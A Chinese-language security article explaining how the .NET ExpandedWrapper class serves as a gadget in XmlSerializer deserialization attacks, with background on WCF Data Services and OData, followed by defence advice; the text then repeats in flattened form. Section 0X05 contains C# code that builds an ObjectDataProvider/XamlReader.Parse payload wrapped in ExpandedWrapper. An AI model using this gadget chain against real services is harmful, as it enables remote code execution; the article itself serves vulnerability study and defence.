解读.NET XmlSerializer反序列化核心链路ExpandedWrapper
字数 1625 2025-08-06 21:48:48

.NET XmlSerializer反序列化核心链路:ExpandedWrapper深度解析

0X01 背景

ExpandedWrapper在.NET XmlSerializer反序列化过程中扮演着关键角色,它能够完美扩展两个泛型类,并通过公开属性存储投影结果。微软官方明确标注该类为WCF数据服务基础设施,不建议直接在代码中使用。

[System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)]
public sealed class ExpandedWrapper<TExpandedElement, TProperty0> : ExpandedWrapper<TExpandedElement>
{
    public TProperty0 ProjectedProperty0 { get; set; }
    protected override object InternalGetExpandedPropertyValue(int nameIndex)
    {
        if (nameIndex == 0) return this.ProjectedProperty0;
        throw Error.NotSupported();
    }
}

0X02 WCF Data Services基础

WCF Data Services(原ADO.NET Data Service)核心位于System.Data.Services.dll,提供System.Data.Services.DataService类,能够自动从System.Data.Entity对象生成具有CRUD功能的WCF服务。

基本配置步骤:

  1. 创建数据库表(如Category和Product)

  2. 创建ADO.NET实体数据模型

  3. 配置DataService:

    public class WcfDataService1 : DataService<TestEntities>
    {
        public static void InitializeService(DataServiceConfiguration config)
        {
            config.SetEntitySetAccessRule("*", EntitySetRights.All);
            config.DataServiceBehavior.MaxProtocolVersion = DataServiceProtocolVersion.V2;
        }
    }
    
  4. 实体类需添加DataServiceKey特性:

    [System.Data.Services.Common.DataServiceKey("Id")]
    public partial class Categroy
    {
        // 类实现
    }
    

0X03 OData协议

OData(Open Data Protocol)是基于HTTP、AtomPub和JSON的Web协议,支持通过URI查询和更新数据。

常用查询示例:

查询类型 示例URL
元数据 http://localhost:60701/WcfDataService1.svc/$metadata
选择特定列 http://localhost:60701/WcfDataService1.svc/Categroy?$select=Id,CategroyName
条件查询 http://localhost:60701/WcfDataService1.svc/Categroy?$filter=length(categroyName) eq 10
排序 http://localhost:60701/WcfDataService1.svc/Categroy?$orderby=Id asc
分页 http://localhost:60701/WcfDataService1.svc/Categroy?$top=2

0X04 ExpandedWrapper核心用法

ExpandedWrapper解决了WCF Data Services客户端扩展查询的需求,允许在一次查询中获取关联数据。

基本查询示例:

var q = from d in context.Categroy
        .Select(p => new ExpandedWrapper<Categroy, IEnumerable<Product>>
        {
            ExpandedElement = p,
            ProjectedProperty0 = p.Product
        })
        select new
        {
            Name = d.ProjectedProperty0,
            ElementName = d.ExpandedElement
        };

多级扩展查询:

var q = from d in context.Categroy
        .Select(p => new
        {
            ExpandedElement = p,
            ProjectedProperty0 = new
            {
                ExpandedElement = "产品分类" + p.CategoryName,
                ProjectedProperty0 = p.Product.Select(x => new {产品名 = x.ProductName }),
                ProjectedProperty1 = new ObjectDataProvider()
            }
        })
        select new
        {
            Name = d.ProjectedProperty0
        };

关键特性:

  • ProjectedProperty0ProjectedProperty1均为公共属性
  • 可以存储任意.NET类型
  • 支持多级嵌套扩展

0X05 反序列化利用链

ExpandedWrapper在XmlSerializer反序列化漏洞中扮演关键角色,以下是攻击链分析:

  1. XAML利用:通过恶意XAML中的<ObjectDataProvider>执行代码
  2. XamlReader.Parse:使用该方法解析恶意XAML
  3. ObjectDataProvider:承载XamlReader实例并调用Parse方法
  4. ExpandedWrapper:包装XamlReader和ObjectDataProvider
  5. XmlSerializer:序列化整个结构

攻击链代码实现:

// 1. 准备恶意XAML
string xml = File.ReadAllText("Dictionary1.xaml");

// 2. 创建XamlReader和ObjectDataProvider
XamlReader xamlReader = new XamlReader();
ObjectDataProvider objectDataProvider = new ObjectDataProvider();
objectDataProvider.ObjectInstance = xamlReader;
objectDataProvider.MethodParameters.Add(xml);
objectDataProvider.MethodName = "Parse";

// 3. 使用ExpandedWrapper包装
ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = 
    new ExpandedWrapper<XamlReader, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = objectDataProvider;

// 4. 序列化
using (TextWriter textWriter = new StreamWriter("demo.txt"))
{
    XmlSerializer xmlSerializer = new XmlSerializer(
        typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>));
    xmlSerializer.Serialize(textWriter, expandedWrapper);
}

攻击链流程总结:

XAML:<ObjectDataProvider> 
→ XamlReader.Parse(XAML) 
→ ObjectDataProvider.ObjectInstance=xamlReader 
→ ExpandedWrapper(XamlReader,ObjectDataProvider) 
→ expandedWrapper.ProjectedProperty0=objectDataProvider
→ xmlSerializer.Serialize(expandedWrapper)

0X06 防御建议

  1. 避免反序列化不受信任的数据
  2. 使用安全的序列化替代方案,如JSON.NET
  3. 实施输入验证和过滤
  4. 限制XmlSerializer的类型白名单
  5. 更新.NET框架以获取最新安全补丁

ExpandedWrapper的设计初衷是解决WCF Data Services的查询扩展需求,但其公开属性和灵活的类型支持使其成为反序列化攻击的理想载体。理解其工作机制对于防御相关攻击至关重要。

.NET XmlSerializer反序列化核心链路:ExpandedWrapper深度解析 0X01 背景 ExpandedWrapper 在.NET XmlSerializer反序列化过程中扮演着关键角色,它能够完美扩展两个泛型类,并通过公开属性存储投影结果。微软官方明确标注该类为WCF数据服务基础设施,不建议直接在代码中使用。 0X02 WCF Data Services基础 WCF Data Services(原ADO.NET Data Service)核心位于 System.Data.Services.dll ,提供 System.Data.Services.DataService 类,能够自动从 System.Data.Entity 对象生成具有CRUD功能的WCF服务。 基本配置步骤: 创建数据库表(如Category和Product) 创建ADO.NET实体数据模型 配置DataService: 实体类需添加 DataServiceKey 特性: 0X03 OData协议 OData(Open Data Protocol)是基于HTTP、AtomPub和JSON的Web协议,支持通过URI查询和更新数据。 常用查询示例: | 查询类型 | 示例URL | |---------|---------| | 元数据 | http://localhost:60701/WcfDataService1.svc/$metadata | | 选择特定列 | http://localhost:60701/WcfDataService1.svc/Categroy?$select=Id,CategroyName | | 条件查询 | http://localhost:60701/WcfDataService1.svc/Categroy?$filter=length(categroyName) eq 10 | | 排序 | http://localhost:60701/WcfDataService1.svc/Categroy?$orderby=Id asc | | 分页 | http://localhost:60701/WcfDataService1.svc/Categroy?$top=2 | 0X04 ExpandedWrapper核心用法 ExpandedWrapper 解决了WCF Data Services客户端扩展查询的需求,允许在一次查询中获取关联数据。 基本查询示例: 多级扩展查询: 关键特性: ProjectedProperty0 和 ProjectedProperty1 均为公共属性 可以存储任意.NET类型 支持多级嵌套扩展 0X05 反序列化利用链 ExpandedWrapper 在XmlSerializer反序列化漏洞中扮演关键角色,以下是攻击链分析: XAML利用 :通过恶意XAML中的 <ObjectDataProvider> 执行代码 XamlReader.Parse :使用该方法解析恶意XAML ObjectDataProvider :承载XamlReader实例并调用Parse方法 ExpandedWrapper :包装XamlReader和ObjectDataProvider XmlSerializer :序列化整个结构 攻击链代码实现: 攻击链流程总结: 0X06 防御建议 避免反序列化不受信任的数据 使用安全的序列化替代方案,如JSON.NET 实施输入验证和过滤 限制XmlSerializer的类型白名单 更新.NET框架以获取最新安全补丁 ExpandedWrapper 的设计初衷是解决WCF Data Services的查询扩展需求,但其公开属性和灵活的类型支持使其成为反序列化攻击的理想载体。理解其工作机制对于防御相关攻击至关重要。